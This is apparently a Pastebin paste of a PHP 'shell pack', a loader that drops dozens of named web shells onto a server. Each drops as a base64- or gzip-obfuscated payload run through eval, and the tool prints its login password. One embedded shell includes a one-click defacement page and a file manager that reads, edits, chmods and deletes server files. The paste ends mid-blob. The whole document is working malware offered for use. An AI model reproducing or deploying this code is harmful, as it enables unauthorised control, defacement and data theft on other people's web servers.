API tools faq
paste
Advertisement
TienKiraBN

shell pack

TienKiraBN
Jun 12th, 2015
338
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 123.79 KB | None | 0 0
raw download clone embed print report
  1. 
<?php
/*Code by AnonAngel
Edit and develop by MonKira*/
error_reporting(7);
@set_magic_quotes_runtime(0);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('SA_ROOT', str_replace('\\', '/', dirname('index.php')) . '/');
define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
define('IS_COM', class_exists('COM') ? 1 : 0);
define('IS_GPC', get_magic_quotes_gpc());
$dis_func = get_cfg_var('disable_functions');
define('IS_PHPINFO', (!eregi("phpinfo", $dis_func)) ? 1 : 0);
@set_time_limit(0);
foreach (array('_GET', '_POST') as $_request) {
    foreach ($$_request as $_key => $_value) {
        if ($_key{0} != '_') {
            if (IS_GPC) {
                $_value = s_array($_value);
            }
            $$_key = $_value;
        }
    }
}


echo '<html>
Code by AnonAngel<br>
Edit and develop by MonKira
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>MonKira Shell Pack</title>
<script type="text/javascript">
function CheckAll(form) {
        for(var i=0;i<form.elements.length;i++) {
                var e = form.elements[i];
                if (e.name != \'chkall\')
                e.checked = form.chkall.checked;
    }
}
function $(id) {
        return document.getElementById(id);
}
function goaction(act){
        $(\'goaction\').action.value=act;
        $(\'goaction\').submit();
}
</script>
<link rel="stylesheet" href="https://googledrive.com/host/0B9CCgt9fzMvpMUlOdVB2YUlVLUk"/></head>
<center><h1><font  style="font-family:Tahoma;"><b>MonKira Shell Pack</font><b></h1></center>
<body style="margin:0;table-layout:fixed; word-break:break-all" bgcolor="black" background="http://1.bp.blogspot.com/-WPsR8cVX7kE/VaEC8J2AdXI/AAAAAAAAFxo/fj067r7_7Bw/s1600/BG.png">
<div id=fb-root></div>
<script>
(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) return;
js = d.createElement(s); js.id = id;
js.src = "//connect.facebook.net/vi_VN/all.js#xfbml=1";
fjs.parentNode.insertBefore(js, fjs);
}(document, "script", "facebook-jssdk"));</script><center><br /><br />
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'phc\');">PHC Shell</a><font color="black"> |</font>
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'vhb\');">VHB&#039;s Shell</a><font color="black"> |</font>
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'vhs\');">VHS&#039;s Shell</a><font color="black"> |</font>
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'Marion\');">Marion001</a><font color="black"> |</font> 
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'sonicq12\');">SonicQ12&#039;s Shell</a><font color="black"> |</font>
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'byg\');">BYG&#039;s Shell</a><font color="black"> |</font>
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'AG\');">AnonGhost 2014</a><font color="black"> |</font>
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'c99\');">C99</a><font color="black"> |</font> 
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'r57\');"> r57 </a><font color="black"> |</font> 
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'Sosyete\');">Sosyete Bypass</a><font color="black"> |</font>
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'x1337\');">x1337</a><font color="black"> |</font> 
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'I-Jv3\');">1n73ction v3</a><font color="black"> |</font> 
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'r-p\');">Robot Pirates</a><font color="black"> |</font><br /><br />
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'Ani\');">Ani-Shell</a><font color="black"> |</font> 
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'GNY\');">GNY Shell</a><font color="black"> |</font> 
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'I-47\');">I-47</a><font color="black"> |</font>  
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'Indrajith\');">Indrajith v2</a><font color="black"> |</font>
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'IST\');">iTSecTeam</a><font color="black"> |</font>
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'BCC\');">BCC&#039;s Shell</a><font color="black"> |</font>
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'Dh\');">Dhanush</a><font color="black"> |</font>
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'D-T\');">Duck Tales</a><font color="black"> |</font>
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'EHG404\');">EHG 404</a><font color="black"> |</font>
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'G6\');">G6 Private</a><font color="black"> |</font>
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'GZv3\');">GaZa v3</a><font color="black"> |</font>
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'hands\');">Hands Team</a><font color="black"> |</font>
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'jackal\');">Jackal</a><font color="black"> |</font><br /><br />
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'k2\');">K2 Tools</a><font color="black"> |</font>
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'k2ll33d\');">K2LL33D</a><font color="black"> |</font>
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'loplipop\');">Loplipop</a><font color="black"> |</font>
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'madv2\');">MadSpot v2</a><font color="black"> |</font>
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'MulCi\');">MulCi-Shell</a><font color="black"> |</font>
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'nsT\');">nsTView</a><font color="black"> |</font>
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'NetCat\');">NetCat PHP</a><font color="black"> |</font>
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'r-s\');">r00t-s3c</a><font color="black"> |</font>
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'b8\');">#Bug Priv8</a><font color="black"> |</font>
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'b5\');">b5 Shell</a><font color="black"> |</font>
<a class="btn navbar-element btn-primary" href="javascript:goaction(\'EMeLCo\');">EMeLCo</a><font color="black"> |</font></center>';
formhead(array('name' => 'goaction'));
makehide('action');
formfoot();
$errmsg && m($errmsg);
!$dir && $dir = '.';
$nowpath = getPath(SA_ROOT, $dir);
if (substr($dir, -1) != '/') {
    $dir = $dir . '/';
}
$uedir = ue($dir);
if (!$action || $action == 'file') {
    $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
    if ($doing == 'deldir' && $thefile) {
        if (!file_exists($thefile)) {
            m($thefile . ' directory does not exist');
        } 
   
    }
    ;;
    tbhead();

   
}  elseif ($action == 'byg') {
    $file = fopen($dir . "byg.php", "w+");
    $byg = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrZXlKY2VIVTNYSGgxWTF4NGRXWkNYSGgxTmx4NGRXTlRJbjFiSWx4NFpXUmNlR1UxWEhobE5WeDRaVGRjZUdWalhIaGxZMXg0TjI4aVhUMGlYSGgxTmlJN0pERnVNV3RyTW5Ob05XUm5lRDBpUVNJN0pIc2tNVzR4YTJzeWMyZzFaR2Q0ZlQxbU5HdzFYMmMxZEY5ak1tNTBOVzUwY3lnaVhIaGxPSFIwY0RvdkwxeDROekF4WEhnM2IzUTFZbHg0WlRsY2VHVTFMbHg0Wlc5Y2VHVm1iUzl5TVhjdVhIZzNNR2h3UHpROVhIaHZZVng0TjJsY2VHVTNYSGhsWlZ4NFpUWmNlR1UxWEhnM2FYSWlLVHMxZGpGc0tHSXhjelZsZFY5a05XTXlaRFVvSkhza2V5SmNlSFUzWEhoMVkxeDRkV1pjZUhWaFhIaDFObHg0ZFdOY2VHbHZJbjFiSW0xY2VHVTFYSGhsTlZ4NFpUZHNYSGhsWTF4NE4yOGlYWDBwS1RzTkNqOCsnO2V2YWwoYmFzZTY0X2RlY29kZSgnSkY5WVBXSmhjMlUyTkY5a1pXTnZaR1VvSkY5WUtUc2tYMWc5YzNSeWRISW9KRjlZTENjeE1qTTBOVFpoYjNWcFpTY3NKMkZ2ZFdsbE1USXpORFUySnlrN0pGOVNQV1Z5WldkZmNtVndiR0ZqWlNnblgxOUdTVXhGWDE4bkxDSW5JaTRrWDBZdUlpY2lMQ1JmV0NrN1pYWmhiQ2drWDFJcE95UmZVajB3T3lSZldEMHdPdz09JykpOz8+
';
    $file = fopen("byg.php", "w+");
    $write = fwrite($file, base64_decode($byg));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='byg.php' target='_blank' style='color:red'>byg.php</a><br /><font color='aqua'>password:</font> <a style='color:red'>byg</a></font></b></center>";
}
 elseif ($action == 'b5') {
    $file = fopen($dir . "b5.php", "w+");
    $b5 = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiQmNIZEVrSkFHQURRZDNIRmRCSEpOanRkclJXRG1XS1NOamZOWXZHVm9menI2VHRIVEx5V3l4ODBSYzBISWFlOEYyai96RVhXNWtLV3pNeFphRXRLbTdDUTZTZFhvM2ZHYVFuTmVVSWtjZzUxYktIVkxuQXg1cmU0WEFEV0lyT2FSK1dwS2JSalpFYWV1aGhrZUFGL1h6YVJyMjkzTGVMdWJPRlJKQWw4cm5qMnB3QXpvTGh6dXJBeUt2N3R0VWtOSkVWUmpuOD0iKSkpOwo/Pg==
';
    $file = fopen("b5.php", "w+");
    $write = fwrite($file, base64_decode($b5));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='b5.php' target='_blank' style='color:red'>b5.php</a><br /><font color='aqua'>username:</font> <a style='color:red'>root</a> - <font color='aqua'>password:</font> <a style='color:red'>test</a></font></b></center>";

}
elseif ($action == 'sonicq12') {
    $file = fopen($dir . "sonicq12.php", "w+");
    $sonic = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiRGNuUkNrQXdHQWJRVjltRk1qZDJJNHFrSmMreFpqNjJZbHYyUnp3OTUvWmtrdlZzZFR2VUJsSW1lSUtueEhOTEZGc2hvazZFMmZuU2hFT2MraTZqallQcm0zZVU5cG1RRngzRHBYYys2NFM2VWd0TVdNQXpXZnp4QVE9PSIpKSk7Cj8+
';
    $file = fopen("sonicq12.php", "w+");
    $write = fwrite($file, base64_decode($sonic));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='sonicq12.php' target='_blank' style='color:red'>sonicq12.php</a><br /><font color='aqua'>password:</font> <a style='color:red'>sonicq12</a></font></b></center>";

}
elseif ($action == 'vhb') {
    $file = fopen($dir . "vhb.php", "w+");
    $vhb = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiRGNreENvQXdEQURBcjNRb1dCZXppQlRGd1plVVdLTXQxRlJNME8vcnJXY1hNNXM5RndvSGFZaVZsVmpGTlVuMWtoSGdTRlYwemR6RmVzS0ZvZ1ErRGV6aHhyZHBKME1QRnJlaTBOQ0hqV0xkeU5tbC9lTUQiKSkpOwo/Pg==
';
    $file = fopen("vhb.php", "w+");
    $write = fwrite($file, base64_decode($vhb));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='vhb.php' target='_blank' style='color:red'>vhb.php</a><br /><font color='aqua'>password:</font> <a style='color:red'>vhb</a></font></b></center>";

}
elseif ($action == 'phc') {
    $file = fopen($dir . "phc.php", "w+");
    $vhb = '<?php
/* 
                          [[    PAKISTAN HAXORS CREW     ]]
						        [[  Bypass Shell  ]]
								    [[ v1.0 ]]
						    [[  Coded by hAxOr tr0jAn  ]]
*/


$auth_pass= "leet";     //   PASSWORD FOR SHELL 

$defin="
<!doctype HTML><title>Hacked By h4xOrR tr0j4n</title><center><h2>Hacked By h4xOrR tr0j4n </h2></center></html>"; // Deface Index With One Click ! -- Paste Your Deface Code Here!


session_start();
error_reporting(E_ERROR);
@ini_set("max_execution_time",0);
@set_time_limit(0);
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);
ob_start();

$wo0oii = 'eJylVGFv2zYQ/Ss3FVsSNJVkp2haWRLgupm9JWmNxBvQBcZASbRISyI1kortdNtv30mU3aTtsA8DLEg83z2+e/dImjIJR+F37z5MFh/nFzBbXF/F4e3k5qf5Aq7G76e/jKcXkfMzuSe3qeK1cWK4Jwp0qkqIwLmLlgBzUnBtiIAZ2UqlYaLoBm4ZLUu4h4HrAzgjW1VTmrVlL30fQ6tGpIZL0aFpo49P4BPsoduXq5tEG8VFfjw4tZGSitywE3j+ZYJ/CoOTEUAm06aiwriGm5L2QBjX1Cx4RWVjjp3Dfs4pnPl+W/YXhJ7uOowhTGS2AymuJMmiR8nx0QioFazL0GZX0shJSFrkSjYie5HKUqogKTEy2vDMsGDg+369HTHKc2aC82G7QCDXCVMkSVUcJnG4ksKA5g80Oo8d9yhkZ0BKnovIsUlOn7IiKe43YbwsMWgrnHPnayIBNKo8/uGPRpoRM6YOPI8P/FduzaSRSZMW1LiprDxSJk2lvWr42vc+NgWXl1RoxoWHXdaCkZ2b85WFOQFFa0pMq6fEyfrftz+jiNA1UUhzBLb7Z6vVagSGbs0LzUgmNwH4tbGP+4ZWiJOddsvhIVTiZFAW1OJbXgoTFcPbXU203tsKXRV6qJzX6oIvNowPgvIqB63SyNl37mKkUV3Dmx+Hk8mscGuRO2CHEjnDlz7u7WHWZ0D7+jyYoe0u2jBuaNwyuoMggKmi1GhYyHaxbMO2xiZLVCenPQAWzIgWhPe9wRL+hDtQTVXtoGDYsg38yjUTTUYMgxuaoc1seCIzCm8VJQXdl16OObDx9oO66QPXpFEcxeMExsagGw6p07+Hr/rPG8KaElO54H3kNyoQXFWNhvagC54K/FxCpzv+v/aLsz3QuOIKrpuHB7IiB/BmvSZqPpkfaBTXh3YqkqUyu+hXs0Zryt+/eZ3t8dSOiAe4tP13Aj45EGfxt6+XfkKI8TR5LKSYMqkNHEb5yCaJfR6NqJ9nn9Buz9TXCXv4u+fLbhAZ2hECCAkwRVfWaRqtttls3PaQJlIWnd+MWoutA4aonKLTfserQRSHA9sdkoym6JP2HgyQO3We7J6jv0QrSTdnPG7+eizgSU8khpbWl96zjVnCAr1gWr5Y9p+U93LPJv+b97+NjuzZt8xbwY9G/wCDbyvF';eval(gzuncompress(base64_decode($wo0oii)));
if(!$_POST['password']){echo '<form action="" method="post"><input type="password" name="password"><input type="submit" value="Go"></form>';}else{if (count($_POST)>0) {$_COOKIE['pwd']=$_POST['password'];if($_COOKIE['pwd']== $auth_pass)	{session_start();$_SESSION['Login']='YES';}else{session_start();$_SESSION['Login']='No';header('Location: '. $_SERVER['PHP_SELF']);};};};session_start();if(isset($_SESSION['Login'])&&$_SESSION['Login']=='YES'){$mo0ox='eJztV21v2zYQ/rx/cVPTSkIdWXbSobNkb3mxkyxvhu2uyIJAoGRKIiKTGknF9or+950k213awOm+DPsQWD5JJ97zkMe7IynCIMoo4Zbt0SgVYPo/Hl8fTW6GfTidXF70/PHR6Gw4gYuDq5MPByf9rvEbeSDjSLJcGz14IBJUJDPognHbvQMYknumNOFwShZCKjiSdA7jlGYZPEDLcQEMr7bKKZ2WZvuui6q44JFmgldoSivLhk+whi5vjipCpSXjidVq1JqM8kSnNrz9uoHbgJbtAUxFVMwo145mOqMrINQrqidsRkWhLWPDZzRgz3VLs8/gN1U1wh74oZguQfALQabdfzTumR78sPJY1UTpZUa7Rkii+0SKgk93I5EJ2Qkz1HhzNtVpp+W6br7wUsqSVHfeVS+I5Jh+ugckYwnvGhH2l0qj5+NYBE96fiy4hphECH6UsizDj6DYX/j6zviWtQOFzKw3fxZCe6nWeafZZC33JydPhRZhEd1T7URi1iRZWMxUc9Z+7zZvinsmzilXKeNNHFLOU7J0EhbXMDZImlOiS+8JnEf3dXlpSbjKicTuelAP9VUcxx5outC7KiVTMe+Am+v67/xMZ5BISnmjUrQ3yjArKHrBD3tPxs7hMidKrUMII8hvhthYrhxTeWKv94aHKvde5H8jr8r4neHcw0BIuGC8WPjNcjp6mDirsG2m7d5Gme5tnqtZq+Kl+8p1BwPX7fmp/Fp/8N5167ltl5FxTiWnGZRT34GnIEzn1zzNg4KTGbVMYm6qWfgc9PB0CE9jlmyWiZmTP1CpsDZZtgOm/a07thN8UFRuZ0ioDqJClqkUFNgaef49zZjEFC7FlG7l8lhsMc4CpLRMhSbBDE1M2/5U++v6yvQ+00zR9ftggIqVM+3tPSh9fczUPQwwzWGcY8na3pedcKmpwrI8RasgRqtAlVaW4Ri2t6NYkEsaswW2IFKSpQXmodkA87ySl5U8qeSkkv1K/lHJm0MTECMkqqz7Lbe97+1EWVlJujBj3EIvaDsTibXqRAOqtjY+RFhHtfWF3obdcjmpfKByXGB0bJmvW047Niuzyr4JuZhbFUajJrJtwHDBnwNfsG7rb3ff79ExlRh+cLYtSk1nJxj3R7/3R7dmfQ8Ojo9H5p1jbk/k7fRHGcOQ/H7qUf/yetLfUG8FlxVBHfRwfDbaRoEzN+9ixEbz6XqbghrHhOezu0QeUjljqkzgrSRlZqhgLpkmYUYtZNhkxUdU0lK7Sg5Y6a+Eho8rg3WaPOPxF/kiX+SL/P9Ln0CKa1bX+EV16YLpzWGj2uBPaSQkKU9sHS44NR7V4XmK9bIsv7dv7+BCJHjQWm3gUVHt39cbQ1Jv/upDzyMMiafDqo7vl0ADhue3S8JJgmvhI4S1KcKY3t+NI+Dw';eval(gzuncompress(base64_decode($mo0ox)));function perms($file){$perms = fileperms($file);if (($perms & 0xC000) == 0xC000) {$info = 's';} elseif (($perms & 0xA000) == 0xA000) {$info = 'l';} elseif (($perms & 0x8000) == 0x8000) {$info = '-';} elseif (($perms & 0x6000) == 0x6000) {$info = 'b';} elseif (($perms & 0x4000) == 0x4000) {$info = 'd';} elseif (($perms & 0x2000) == 0x2000) {$info = 'c';} elseif (($perms & 0x1000) == 0x1000) {$info = 'p';} else {$info = 'u';}$info .= (($perms & 0x0100) ? 'r' : '-');$info .= (($perms & 0x0080) ? 'w' : '-');$info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-'));$info .= (($perms & 0x0020) ? 'r' : '-');$info .= (($perms & 0x0010) ? 'w' : '-');$info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-'));$info .= (($perms & 0x0004) ? 'r' : '-');$info .= (($perms & 0x0002) ? 'w' : '-');$info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-'));return $info;};if(get_magic_quotes_gpc()){foreach($_POST as $key=>$value){$_POST[$key] = stripslashes($value);};};echo '<b><tr><td><center><font color=red>Current Path : </font>';if(isset($_GET['path'])){$path = $_GET['path'];}else{    $path = getcwd();}$path = str_replace('\\','/',$path);$paths = explode('/',$path);foreach($paths as $id=>$pat){if($pat == '' && $id == 0){$a = true;echo '<a href="?path=/">/</a>';continue;}if($pat == '') continue;echo '<a href="?path=';for($i=0;$i<=$id;$i++){echo "$paths[$i]";if($i != $id) echo "/";}echo '"><font color=#66FF33>'.$pat.'</font></a><font color=green>/</font>';}echo '<hr></td></tr><tr><td></td></tr></center>';if(isset($_GET['filesrc'])){echo "<tr><td>Current File : ";echo $_GET['filesrc'];echo '</tr></td></table><br />';echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){echo '</table><br />'.$_POST['path'].'<br /><br />';    if($_POST['opt'] == 'chmod'){if(isset($_POST['perm'])){if(chmod($_POST['path'],$_POST['perm'])){echo '<font color="green">Change Permission Done.</font><br />';}else{echo '<font color="red">Change Permission Failed.</font><br />';}};echo '<form method="POST">Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" /><input type="hidden" name="path" value="'.$_POST['path'].'"><input type="hidden" name="opt" value="chmod"><input type="submit" value="Go" /></form>';}elseif($_POST['opt'] == 'rename'){if(isset($_POST['newname'])){if(rename($_POST['path'],$path.'/'.$_POST['newname'])){echo '<font color="green">Change Name Done.</font><br />';}else{echo '<font color="red">Change Name Error.</font><br />';}$_POST['name'] = $_POST['newname'];}echo '<form method="POST">New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" /><input type="hidden" name="path" value="'.$_POST['path'].'"><input type="hidden" name="opt" value="rename"><input type="submit" value="Go" /></form>';}elseif($_POST['opt'] == 'edit'){if(isset($_POST['src'])){$fp = fopen($_POST['path'],'w');if(fwrite($fp,$_POST['src'])){echo '<font color="green">Edit File Done.</font><br />';}else{echo '<font color="red">Edit File Failed.</font><br />';}fclose($fp);}echo '<form method="POST"><textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br /><input type="hidden" name="path" value="'.$_POST['path'].'"><input type="hidden" name="opt" value="edit"><input type="submit" value="Go" /></form>';}echo '</center>';}else{echo '</table><br />';if(isset($_GET['option']) && $_POST['opt'] == 'delete'){if($_POST['type'] == 'dir'){if(rmdir($_POST['path'])){echo '<font color="green">Delete Dir Done.</font><br />';}else{echo '<font color="red">Delete Dir Failed.</font><br />';}}elseif($_POST['type'] == 'file'){if(unlink($_POST['path'])){echo '<font color="green">Delete File Done.</font><br />';}else{echo '<font color="red">Delete File Failed.</font><br />';}}}echo '</center>';$scandir = scandir($path);echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center"><tr class="first"><td><u><font color=#66FF33><b>File</u></b> <u><b>Name</b></u></center></td><td><center><u><b><font color=#66FF33>Size</b></u></center></td><td><center><u><b><font color=#66FF33>Permissions</b></u></center></td><td><center><u><b><font color=#66FF33>Options</b></u></center></td></font></font></font></font></tr>';foreach($scandir as $dir){if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;echo "<tr><td><a href=\"?path=$path/$dir\" style=\"text-decoration:none\"><font color=red>$dir</font></a></td><td><center>--</center></td><td><center>";if(is_writable("$path/$dir")) echo '<font color="green">';elseif(!is_readable("$path/$dir")) echo '<font color="red">';echo perms("$path/$dir");if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';echo "</center></td><td><center><form method=\"POST\" action=\"?option&path=$path\"><select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"chmod\">Chmod</option><option value=\"rename\">Rename</option></select><input type=\"hidden\" name=\"type\" value=\"dir\"><input type=\"hidden\" name=\"name\" value=\"$dir\"><input type=\"hidden\" name=\"path\" value=\"$path/$dir\"><input type=\"submit\" value=\">\" /></form></center></td></tr>";}echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';foreach($scandir as $file){if(!is_file("$path/$file")) continue;$size = filesize("$path/$file")/1024;$size = round($size,3);if($size >= 1024){$size = round($size/1024,2).' MB';}else{$size = $size.' KB';}echo "<tr><td><a href=\"?filesrc=$path/$file&path=$path\" style=\"text-decoration:none\"><font color=red>$file</font></a></td><td><center><font color=#66FF33>".$size."</font></center></td><td><center>";if(is_writable("$path/$file")) echo '<font color="green">';elseif(!is_readable("$path/$file")) echo '<font color="red">';echo perms("$path/$file");if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';echo "</center></td><td><center><form method=\"POST\" action=\"?option&path=$path\"><select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"chmod\">Chmod</option><option value=\"rename\">Rename</option><option value=\"edit\">Edit</option></select><input type=\"hidden\" name=\"type\" value=\"file\"><input type=\"hidden\" name=\"name\" value=\"$file\"><input type=\"hidden\" name=\"path\" value=\"$path/$file\"><input type=\"submit\" value=\">\" /></form></center></td></tr>";}echo '</table></div><br>';};
$wo0o0i='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